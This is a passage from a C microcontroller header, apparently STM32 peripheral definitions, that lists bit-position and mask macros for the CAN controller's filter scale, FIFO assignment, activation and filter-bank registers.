CAN_FS1R_FSC8_Msk (0x1U << CAN_FS1R_FSC8_Pos) /*!< 0x00000100 */ #define CAN_FS1R_FSC8 CAN_FS1R_FSC8_Msk /*!<Filter Scale Configuration bit 8 */ #define CAN_FS1R_FSC9_Pos (9U) #define CAN_FS1R_FSC9_Msk (0x1U << CAN_FS1R_FSC9_Pos) /*!< 0x00000200 */ #define CAN_FS1R_FSC9 CAN_FS1R_FSC9_Msk /*!<Filter Scale Configuration bit 9 */ #define CAN_FS1R_FSC10_Pos (10U) #define CAN_FS1R_FSC10_Msk (0x1U << CAN_FS1R_FSC10_Pos) /*!< 0x00000400 */ #define CAN_FS1R_FSC10 CAN_FS1R_FSC10_Msk /*!<Filter Scale Configuration bit 10 */ #define CAN_FS1R_FSC11_Pos (11U) #define CAN_FS1R_FSC11_Msk (0x1U << CAN_FS1R_FSC11_Pos) /*!< 0x00000800 */ #define CAN_FS1R_FSC11 CAN_FS1R_FSC11_Msk /*!<Filter Scale Configuration bit 11 */ #define CAN_FS1R_FSC12_Pos (12U) #define CAN_FS1R_FSC12_Msk (0x1U << CAN_FS1R_FSC12_Pos) /*!< 0x00001000 */ #define CAN_FS1R_FSC12 CAN_FS1R_FSC12_Msk /*!<Filter Scale Configuration bit 12 */ #define CAN_FS1R_FSC13_Pos (13U) #define CAN_FS1R_FSC13_Msk (0x1U << CAN_FS1R_FSC13_Pos) /*!< 0x00002000 */ #define CAN_FS1R_FSC13 CAN_FS1R_FSC13_Msk /*!<Filter Scale Configuration bit 13 */ /****************** Bit definition for CAN_FFA1R register *******************/ #define CAN_FFA1R_FFA_Pos (0U) #define CAN_FFA1R_FFA_Msk (0x3FFFU << CAN_FFA1R_FFA_Pos) /*!< 0x00003FFF */ #define CAN_FFA1R_FFA CAN_FFA1R_FFA_Msk /*!<Filter FIFO Assignment */ #define CAN_FFA1R_FFA0_Pos (0U) #define CAN_FFA1R_FFA0_Msk (0x1U << CAN_FFA1R_FFA0_Pos) /*!< 0x00000001 */ #define CAN_FFA1R_FFA0 CAN_FFA1R_FFA0_Msk /*!<Filter FIFO Assignment for Filter 0 */ #define CAN_FFA1R_FFA1_Pos (1U) #define CAN_FFA1R_FFA1_Msk (0x1U << CAN_FFA1R_FFA1_Pos) /*!< 0x00000002 */ #define CAN_FFA1R_FFA1 CAN_FFA1R_FFA1_Msk /*!<Filter FIFO Assignment for Filter 1 */ #define CAN_FFA1R_FFA2_Pos (2U) #define CAN_FFA1R_FFA2_Msk (0x1U << CAN_FFA1R_FFA2_Pos) /*!< 0x00000004 */ #define CAN_FFA1R_FFA2 CAN_FFA1R_FFA2_Msk /*!<Filter FIFO Assignment for Filter 2 */ #define CAN_FFA1R_FFA3_Pos (3U) #define CAN_FFA1R_FFA3_Msk (0x1U << CAN_FFA1R_FFA3_Pos) /*!< 0x00000008 */ #define CAN_FFA1R_FFA3 CAN_FFA1R_FFA3_Msk /*!<Filter FIFO Assignment for Filter 3 */ #define CAN_FFA1R_FFA4_Pos (4U) #define CAN_FFA1R_FFA4_Msk (0x1U << CAN_FFA1R_FFA4_Pos) /*!< 0x00000010 */ #define CAN_FFA1R_FFA4 CAN_FFA1R_FFA4_Msk /*!<Filter FIFO Assignment for Filter 4 */ #define CAN_FFA1R_FFA5_Pos (5U) #define CAN_FFA1R_FFA5_Msk (0x1U << CAN_FFA1R_FFA5_Pos) /*!< 0x00000020 */ #define CAN_FFA1R_FFA5 CAN_FFA1R_FFA5_Msk /*!<Filter FIFO Assignment for Filter 5 */ #define CAN_FFA1R_FFA6_Pos (6U) #define CAN_FFA1R_FFA6_Msk (0x1U << CAN_FFA1R_FFA6_Pos) /*!< 0x00000040 */ #define CAN_FFA1R_FFA6 CAN_FFA1R_FFA6_Msk /*!<Filter FIFO Assignment for Filter 6 */ #define CAN_FFA1R_FFA7_Pos (7U) #define CAN_FFA1R_FFA7_Msk (0x1U << CAN_FFA1R_FFA7_Pos) /*!< 0x00000080 */ #define CAN_FFA1R_FFA7 CAN_FFA1R_FFA7_Msk /*!<Filter FIFO Assignment for Filter 7 */ #define CAN_FFA1R_FFA8_Pos (8U) #define CAN_FFA1R_FFA8_Msk (0x1U << CAN_FFA1R_FFA8_Pos) /*!< 0x00000100 */ #define CAN_FFA1R_FFA8 CAN_FFA1R_FFA8_Msk /*!<Filter FIFO Assignment for Filter 8 */ #define CAN_FFA1R_FFA9_Pos (9U) #define CAN_FFA1R_FFA9_Msk (0x1U << CAN_FFA1R_FFA9_Pos) /*!< 0x00000200 */ #define CAN_FFA1R_FFA9 CAN_FFA1R_FFA9_Msk /*!<Filter FIFO Assignment for Filter 9 */ #define CAN_FFA1R_FFA10_Pos (10U) #define CAN_FFA1R_FFA10_Msk (0x1U << CAN_FFA1R_FFA10_Pos) /*!< 0x00000400 */ #define CAN_FFA1R_FFA10 CAN_FFA1R_FFA10_Msk /*!<Filter FIFO Assignment for Filter 10 */ #define CAN_FFA1R_FFA11_Pos (11U) #define CAN_FFA1R_FFA11_Msk (0x1U << CAN_FFA1R_FFA11_Pos) /*!< 0x00000800 */ #define CAN_FFA1R_FFA11 CAN_FFA1R_FFA11_Msk /*!<Filter FIFO Assignment for Filter 11 */ #define CAN_FFA1R_FFA12_Pos (12U) #define CAN_FFA1R_FFA12_Msk (0x1U << CAN_FFA1R_FFA12_Pos) /*!< 0x00001000 */ #define CAN_FFA1R_FFA12 CAN_FFA1R_FFA12_Msk /*!<Filter FIFO Assignment for Filter 12 */ #define CAN_FFA1R_FFA13_Pos (13U) #define CAN_FFA1R_FFA13_Msk (0x1U << CAN_FFA1R_FFA13_Pos) /*!< 0x00002000 */ #define CAN_FFA1R_FFA13 CAN_FFA1R_FFA13_Msk /*!<Filter FIFO Assignment for Filter 13 */ /******************* Bit definition for CAN_FA1R register *******************/ #define CAN_FA1R_FACT_Pos (0U) #define CAN_FA1R_FACT_Msk (0x3FFFU << CAN_FA1R_FACT_Pos) /*!< 0x00003FFF */ #define CAN_FA1R_FACT CAN_FA1R_FACT_Msk /*!<Filter Active */ #define CAN_FA1R_FACT0_Pos (0U) #define CAN_FA1R_FACT0_Msk (0x1U << CAN_FA1R_FACT0_Pos) /*!< 0x00000001 */ #define CAN_FA1R_FACT0 CAN_FA1R_FACT0_Msk /*!<Filter 0 Active */ #define CAN_FA1R_FACT1_Pos (1U) #define CAN_FA1R_FACT1_Msk (0x1U << CAN_FA1R_FACT1_Pos) /*!< 0x00000002 */ #define CAN_FA1R_FACT1 CAN_FA1R_FACT1_Msk /*!<Filter 1 Active */ #define CAN_FA1R_FACT2_Pos (2U) #define CAN_FA1R_FACT2_Msk (0x1U << CAN_FA1R_FACT2_Pos) /*!< 0x00000004 */ #define CAN_FA1R_FACT2 CAN_FA1R_FACT2_Msk /*!<Filter 2 Active */ #define CAN_FA1R_FACT3_Pos (3U) #define CAN_FA1R_FACT3_Msk (0x1U << CAN_FA1R_FACT3_Pos) /*!< 0x00000008 */ #define CAN_FA1R_FACT3 CAN_FA1R_FACT3_Msk /*!<Filter 3 Active */ #define CAN_FA1R_FACT4_Pos (4U) #define CAN_FA1R_FACT4_Msk (0x1U << CAN_FA1R_FACT4_Pos) /*!< 0x00000010 */ #define CAN_FA1R_FACT4 CAN_FA1R_FACT4_Msk /*!<Filter 4 Active */ #define CAN_FA1R_FACT5_Pos (5U) #define CAN_FA1R_FACT5_Msk (0x1U << CAN_FA1R_FACT5_Pos) /*!< 0x00000020 */ #define CAN_FA1R_FACT5 CAN_FA1R_FACT5_Msk /*!<Filter 5 Active */ #define CAN_FA1R_FACT6_Pos (6U) #define CAN_FA1R_FACT6_Msk (0x1U << CAN_FA1R_FACT6_Pos) /*!< 0x00000040 */ #define CAN_FA1R_FACT6 CAN_FA1R_FACT6_Msk /*!<Filter 6 Active */ #define CAN_FA1R_FACT7_Pos (7U) #define CAN_FA1R_FACT7_Msk (0x1U << CAN_FA1R_FACT7_Pos) /*!< 0x00000080 */ #define CAN_FA1R_FACT7 CAN_FA1R_FACT7_Msk /*!<Filter 7 Active */ #define CAN_FA1R_FACT8_Pos (8U) #define CAN_FA1R_FACT8_Msk (0x1U << CAN_FA1R_FACT8_Pos) /*!< 0x00000100 */ #define CAN_FA1R_FACT8 CAN_FA1R_FACT8_Msk /*!<Filter 8 Active */ #define CAN_FA1R_FACT9_Pos (9U) #define CAN_FA1R_FACT9_Msk (0x1U << CAN_FA1R_FACT9_Pos) /*!< 0x00000200 */ #define CAN_FA1R_FACT9 CAN_FA1R_FACT9_Msk /*!<Filter 9 Active */ #define CAN_FA1R_FACT10_Pos (10U) #define CAN_FA1R_FACT10_Msk (0x1U << CAN_FA1R_FACT10_Pos) /*!< 0x00000400 */ #define CAN_FA1R_FACT10 CAN_FA1R_FACT10_Msk /*!<Filter 10 Active */ #define CAN_FA1R_FACT11_Pos (11U) #define CAN_FA1R_FACT11_Msk (0x1U << CAN_FA1R_FACT11_Pos) /*!< 0x00000800 */ #define CAN_FA1R_FACT11 CAN_FA1R_FACT11_Msk /*!<Filter 11 Active */ #define CAN_FA1R_FACT12_Pos (12U) #define CAN_FA1R_FACT12_Msk (0x1U << CAN_FA1R_FACT12_Pos) /*!< 0x00001000 */ #define CAN_FA1R_FACT12 CAN_FA1R_FACT12_Msk /*!<Filter 12 Active */ #define CAN_FA1R_FACT13_Pos (13U) #define CAN_FA1R_FACT13_Msk (0x1U << CAN_FA1R_FACT13_Pos) /*!< 0x00002000 */ #define CAN_FA1R_FACT13 CAN_FA1R_FACT13_Msk /*!<Filter 13 Active */ /******************* Bit definition for CAN_F0R1 register *******************/ #define CAN_F0R1_FB0_Pos (0U) #define CAN_F0R1_FB0_Msk (0x1U << CAN_F0R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F0R1_FB0 CAN_F0R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F0R1_FB1_Pos (1U) #define CAN_F0R1_FB1_Msk (0x1U << CAN_F0R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F0R1_FB1 CAN_F0R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F0R1_FB2_Pos (2U) #define CAN_F0R1_FB2_Msk (0x1U << CAN_F0R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F0R1_FB2 CAN_F0R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F0R1_FB3_Pos (3U) #define CAN_F0R1_FB3_Msk (0x1U << CAN_F0R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F0R1_FB3 CAN_F0R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F0R1_FB4_Pos (4U) #define CAN_F0R1_FB4_Msk (0x1U << CAN_F0R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F0R1_FB4 CAN_F0R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F0R1_FB5_Pos (5U) #define CAN_F0R1_FB5_Msk (0x1U << CAN_F0R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F0R1_FB5 CAN_F0R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F0R1_FB6_Pos (6U) #define CAN_F0R1_FB6_Msk (0x1U << CAN_F0R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F0R1_FB6 CAN_F0R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F0R1_FB7_Pos (7U) #define CAN_F0R1_FB7_Msk (0x1U << CAN_F0R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F0R1_FB7 CAN_F0R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F0R1_FB8_Pos (8U) #define CAN_F0R1_FB8_Msk (0x1U << CAN_F0R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F0R1_FB8 CAN_F0R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F0R1_FB9_Pos (9U) #define CAN_F0R1_FB9_Msk (0x1U << CAN_F0R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F0R1_FB9 CAN_F0R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F0R1_FB10_Pos (10U) #define CAN_F0R1_FB10_Msk (0x1U << CAN_F0R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F0R1_FB10 CAN_F0R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F0R1_FB11_Pos (11U) #define CAN_F0R1_FB11_Msk (0x1U << CAN_F0R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F0R1_FB11 CAN_F0R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F0R1_FB12_Pos (12U) #define CAN_F0R1_FB12_Msk (0x1U << CAN_F0R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F0R1_FB12 CAN_F0R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F0R1_FB13_Pos (13U) #define CAN_F0R1_FB13_Msk (0x1U << CAN_F0R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F0R1_FB13 CAN_F0R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F0R1_FB14_Pos (14U) #define CAN_F0R1_FB14_Msk (0x1U << CAN_F0R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F0R1_FB14 CAN_F0R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F0R1_FB15_Pos (15U) #define CAN_F0R1_FB15_Msk (0x1U << CAN_F0R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F0R1_FB15 CAN_F0R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F0R1_FB16_Pos (16U) #define CAN_F0R1_FB16_Msk (0x1U << CAN_F0R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F0R1_FB16 CAN_F0R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F0R1_FB17_Pos (17U) #define CAN_F0R1_FB17_Msk (0x1U << CAN_F0R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F0R1_FB17 CAN_F0R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F0R1_FB18_Pos (18U) #define CAN_F0R1_FB18_Msk (0x1U << CAN_F0R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F0R1_FB18 CAN_F0R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F0R1_FB19_Pos (19U) #define CAN_F0R1_FB19_Msk (0x1U << CAN_F0R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F0R1_FB19 CAN_F0R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F0R1_FB20_Pos (20U) #define CAN_F0R1_FB20_Msk (0x1U << CAN_F0R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F0R1_FB20 CAN_F0R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F0R1_FB21_Pos (21U) #define CAN_F0R1_FB21_Msk (0x1U << CAN_F0R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F0R1_FB21 CAN_F0R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F0R1_FB22_Pos (22U) #define CAN_F0R1_FB22_Msk (0x1U << CAN_F0R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F0R1_FB22 CAN_F0R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F0R1_FB23_Pos (23U) #define CAN_F0R1_FB23_Msk (0x1U << CAN_F0R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F0R1_FB23 CAN_F0R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F0R1_FB24_Pos (24U) #define CAN_F0R1_FB24_Msk (0x1U << CAN_F0R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F0R1_FB24 CAN_F0R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F0R1_FB25_Pos (25U) #define CAN_F0R1_FB25_Msk (0x1U << CAN_F0R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F0R1_FB25 CAN_F0R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F0R1_FB26_Pos (26U) #define CAN_F0R1_FB26_Msk (0x1U << CAN_F0R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F0R1_FB26 CAN_F0R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F0R1_FB27_Pos (27U) #define CAN_F0R1_FB27_Msk (0x1U << CAN_F0R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F0R1_FB27 CAN_F0R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F0R1_FB28_Pos (28U) #define CAN_F0R1_FB28_Msk (0x1U << CAN_F0R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F0R1_FB28 CAN_F0R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F0R1_FB29_Pos (29U) #define CAN_F0R1_FB29_Msk (0x1U << CAN_F0R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F0R1_FB29 CAN_F0R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F0R1_FB30_Pos (30U) #define CAN_F0R1_FB30_Msk (0x1U << CAN_F0R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F0R1_FB30 CAN_F0R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F0R1_FB31_Pos (31U) #define CAN_F0R1_FB31_Msk (0x1U << CAN_F0R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F0R1_FB31 CAN_F0R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F1R1 register *******************/ #define CAN_F1R1_FB0_Pos (0U) #define CAN_F1R1_FB0_Msk (0x1U << CAN_F1R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F1R1_FB0 CAN_F1R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F1R1_FB1_Pos (1U) #define CAN_F1R1_FB1_Msk (0x1U << CAN_F1R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F1R1_FB1 CAN_F1R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F1R1_FB2_Pos (2U) #define CAN_F1R1_FB2_Msk (0x1U << CAN_F1R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F1R1_FB2 CAN_F1R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F1R1_FB3_Pos (3U) #define CAN_F1R1_FB3_Msk (0x1U << CAN_F1R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F1R1_FB3 CAN_F1R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F1R1_FB4_Pos (4U) #define CAN_F1R1_FB4_Msk (0x1U << CAN_F1R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F1R1_FB4 CAN_F1R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F1R1_FB5_Pos (5U) #define CAN_F1R1_FB5_Msk (0x1U << CAN_F1R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F1R1_FB5 CAN_F1R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F1R1_FB6_Pos (6U) #define CAN_F1R1_FB6_Msk (0x1U << CAN_F1R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F1R1_FB6 CAN_F1R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F1R1_FB7_Pos (7U) #define CAN_F1R1_FB7_Msk (0x1U << CAN_F1R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F1R1_FB7 CAN_F1R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F1R1_FB8_Pos (8U) #define CAN_F1R1_FB8_Msk (0x1U << CAN_F1R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F1R1_FB8 CAN_F1R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F1R1_FB9_Pos (9U) #define CAN_F1R1_FB9_Msk (0x1U << CAN_F1R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F1R1_FB9 CAN_F1R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F1R1_FB10_Pos (10U) #define CAN_F1R1_FB10_Msk (0x1U << CAN_F1R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F1R1_FB10 CAN_F1R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F1R1_FB11_Pos (11U) #define CAN_F1R1_FB11_Msk (0x1U << CAN_F1R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F1R1_FB11 CAN_F1R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F1R1_FB12_Pos (12U) #define CAN_F1R1_FB12_Msk (0x1U << CAN_F1R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F1R1_FB12 CAN_F1R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F1R1_FB13_Pos (13U) #define CAN_F1R1_FB13_Msk (0x1U << CAN_F1R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F1R1_FB13 CAN_F1R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F1R1_FB14_Pos (14U) #define CAN_F1R1_FB14_Msk (0x1U << CAN_F1R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F1R1_FB14 CAN_F1R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F1R1_FB15_Pos (15U) #define CAN_F1R1_FB15_Msk (0x1U << CAN_F1R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F1R1_FB15 CAN_F1R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F1R1_FB16_Pos (16U) #define CAN_F1R1_FB16_Msk (0x1U << CAN_F1R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F1R1_FB16 CAN_F1R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F1R1_FB17_Pos (17U) #define CAN_F1R1_FB17_Msk (0x1U << CAN_F1R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F1R1_FB17 CAN_F1R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F1R1_FB18_Pos (18U) #define CAN_F1R1_FB18_Msk (0x1U << CAN_F1R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F1R1_FB18 CAN_F1R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F1R1_FB19_Pos (19U) #define CAN_F1R1_FB19_Msk (0x1U << CAN_F1R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F1R1_FB19 CAN_F1R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F1R1_FB20_Pos (20U) #define CAN_F1R1_FB20_Msk (0x1U << CAN_F1R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F1R1_FB20 CAN_F1R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F1R1_FB21_Pos (21U) #define CAN_F1R1_FB21_Msk (0x1U << CAN_F1R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F1R1_FB21 CAN_F1R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F1R1_FB22_Pos (22U) #define CAN_F1R1_FB22_Msk (0x1U << CAN_F1R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F1R1_FB22 CAN_F1R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F1R1_FB23_Pos (23U) #define CAN_F1R1_FB23_Msk (0x1U << CAN_F1R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F1R1_FB23 CAN_F1R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F1R1_FB24_Pos (24U) #define CAN_F1R1_FB24_Msk (0x1U << CAN_F1R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F1R1_FB24 CAN_F1R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F1R1_FB25_Pos (25U) #define CAN_F1R1_FB25_Msk (0x1U << CAN_F1R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F1R1_FB25 CAN_F1R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F1R1_FB26_Pos (26U) #define CAN_F1R1_FB26_Msk (0x1U << CAN_F1R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F1R1_FB26 CAN_F1R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F1R1_FB27_Pos (27U) #define CAN_F1R1_FB27_Msk (0x1U << CAN_F1R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F1R1_FB27 CAN_F1R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F1R1_FB28_Pos (28U) #define CAN_F1R1_FB28_Msk (0x1U << CAN_F1R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F1R1_FB28 CAN_F1R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F1R1_FB29_Pos (29U) #define CAN_F1R1_FB29_Msk (0x1U << CAN_F1R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F1R1_FB29 CAN_F1R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F1R1_FB30_Pos (30U) #define CAN_F1R1_FB30_Msk (0x1U << CAN_F1R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F1R1_FB30 CAN_F1R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F1R1_FB31_Pos (31U) #define CAN_F1R1_FB31_Msk (0x1U << CAN_F1R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F1R1_FB31 CAN_F1R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F2R1 register *******************/ #define CAN_F2R1_FB0_Pos (0U) #define CAN_F2R1_FB0_Msk (0x1U << CAN_F2R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F2R1_FB0 CAN_F2R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F2R1_FB1_Pos (1U) #define CAN_F2R1_FB1_Msk (0x1U << CAN_F2R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F2R1_FB1 CAN_F2R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F2R1_FB2_Pos (2U) #define CAN_F2R1_FB2_Msk (0x1U << CAN_F2R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F2R1_FB2 CAN_F2R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F2R1_FB3_Pos (3U) #define CAN_F2R1_FB3_Msk (0x1U << CAN_F2R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F2R1_FB3 CAN_F2R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F2R1_FB4_Pos (4U) #define CAN_F2R1_FB4_Msk (0x1U << CAN_F2R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F2R1_FB4 CAN_F2R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F2R1_FB5_Pos (5U) #define CAN_F2R1_FB5_Msk (0x1U << CAN_F2R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F2R1_FB5 CAN_F2R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F2R1_FB6_Pos (6U) #define CAN_F2R1_FB6_Msk (0x1U << CAN_F2R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F2R1_FB6 CAN_F2R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F2R1_FB7_Pos (7U) #define CAN_F2R1_FB7_Msk (0x1U << CAN_F2R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F2R1_FB7 CAN_F2R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F2R1_FB8_Pos (8U) #define CAN_F2R1_FB8_Msk (0x1U << CAN_F2R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F2R1_FB8 CAN_F2R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F2R1_FB9_Pos (9U) #define CAN_F2R1_FB9_Msk (0x1U << CAN_F2R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F2R1_FB9 CAN_F2R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F2R1_FB10_Pos (10U) #define CAN_F2R1_FB10_Msk (0x1U << CAN_F2R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F2R1_FB10 CAN_F2R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F2R1_FB11_Pos (11U) #define CAN_F2R1_FB11_Msk (0x1U << CAN_F2R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F2R1_FB11 CAN_F2R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F2R1_FB12_Pos (12U) #define CAN_F2R1_FB12_Msk (0x1U << CAN_F2R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F2R1_FB12 CAN_F2R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F2R1_FB13_Pos (13U) #define CAN_F2R1_FB13_Msk (0x1U << CAN_F2R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F2R1_FB13 CAN_F2R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F2R1_FB14_Pos (14U) #define CAN_F2R1_FB14_Msk (0x1U << CAN_F2R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F2R1_FB14 CAN_F2R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F2R1_FB15_Pos (15U) #define CAN_F2R1_FB15_Msk (0x1U << CAN_F2R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F2R1_FB15 CAN_F2R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F2R1_FB16_Pos (16U) #define CAN_F2R1_FB16_Msk (0x1U << CAN_F2R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F2R1_FB16 CAN_F2R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F2R1_FB17_Pos (17U) #define CAN_F2R1_FB17_Msk (0x1U << CAN_F2R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F2R1_FB17 CAN_F2R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F2R1_FB18_Pos (18U) #define CAN_F2R1_FB18_Msk (0x1U << CAN_F2R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F2R1_FB18 CAN_F2R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F2R1_FB19_Pos (19U) #define CAN_F2R1_FB19_Msk (0x1U << CAN_F2R1_FB19_Pos) /*!< 